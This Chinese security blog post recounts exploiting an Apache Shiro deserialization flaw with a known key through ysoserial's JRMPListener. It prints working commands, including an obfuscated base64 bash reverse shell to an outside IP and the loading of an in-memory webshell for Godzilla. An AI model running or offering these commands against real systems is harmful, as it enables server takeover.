一、前言
本公众号仅用作技术研究,利用此文提及到的知识造成的任何直接或者间接的后果及损失,均由使用者本人负责,本人不为此承担任何责任,本文中涉及的漏洞复现,均是自己搭建的本地靶场,禁止非法攻击未授权站点。
二、故事起因
今天分享一件小帅追求小美的时候,为了获取小美的芳心,拿下某个网站的故事。在一个风和日丽的下午,闲着无聊的小帅接到了小美给的一个项目,要求是需要在一天内,尽可能的找到漏洞,然后交付给小美。
三、漏洞探测
来到F12大法,查看一些JS文件,看了半天,测试了半天,也是鸡毛都没有,果断放弃。
这个时候,小帅打开了他的必杀技,burpsuite工具,打算进行数据包一个一个的查看,就像看国产电影大作一样,瞪着大眼睛,目不转睛的看。突然burpsuite上的shiro插件闪了一下,发现这个网站存在shiro框架,并获取到了key,看下图:
小帅这时候顿时轻松,心想“终于可以不用提交水洞的报告了,这回小美对他的好感度又一次增加了吧”。二话没说,就把这个目标站点放在shiro梭哈的工具里面跑了一下,不跑不知道,一跑让小帅再一次的心情失落。这个shiro有key,但是怎么没有可以攻击的链子呢??
完蛋,对于一个安抚仔的小帅来说,没链子怎么玩,拿不下这个网站,那还怎么能获取小美的芳心啊。
四、JRMPClient监听
就在这千钧一发之际,小帅脑海里闪现了无数个小美的画面,并给了小帅无穷的力量;小帅反手掏出shiro_tool这一款工具,看看可不可以用JRMPClient来利用。
java -jar shiro_tool http://127.0.0.1
发现JRMPClient是存在的,看下图:
接下来就在vps上利用ysoserial起一个JRMPListener,监听的端口是1238,链子用CommonsBeanutils2_183 命令如下:
java -cp ysoserial-for-woodpecker-0.5.2.jar me.gv7.woodpecker.yso.exploit.JRMPListener 1238 CommonsBeanutils2_183 "raw_cmd:ping wwwww.ifzx.callback.red"
然后在shiro_tool那边输入5 再输入自己vps的地址和刚才监听的端口
通过之前网站大小写敏感,初步判断是linux系统,然后再加上下面执行的命令,返回来的是“root”当时就断定这个系统就是linux系统,(这里的这个点,其实是判断错误的,这个到后面会说)看下图:
所以当时想着直接反弹shell,命令如下:
java -cp ysoserial-for-woodpecker-0.5.2.jar me.gv7.woodpecker.yso.exploit.JRMPListener 1445 CommonsBeanutils2_183 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIxLjEyNy45MC82NzY3IDA+JjE=}|{base64,-d}|{bash,-i}
但是死活反弹shell不了,试了半天,都不行。可以执行命令,那写文件?但是网站的路径不知道,webshell不知道往哪里写。所以这条路也行不通。那就直接打内存马吧,说干就干。
五、打内存马
java -cp ysoserial-for-woodpecker-0.5.2.jar me.gv7.woodpecker.yso.exploit.JRMPListener 1321 CommonsBeanutils2_183 "class_file:/home/ubuntu/3.1/ImageUtil.class"
把生成的class文件,放在vps上,然后利用上面的命令执行;接着在shiro_tool上填上vps:监听端口,然后用哥斯拉直接连接,成功!
这时,小帅悬着的心终于落下来了,终于可以拿着这个去献给小美了。
六、踩坑点
原文始发于微信公众号(Max安全研究院):实战|记一次shiro有key无常规链的打法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论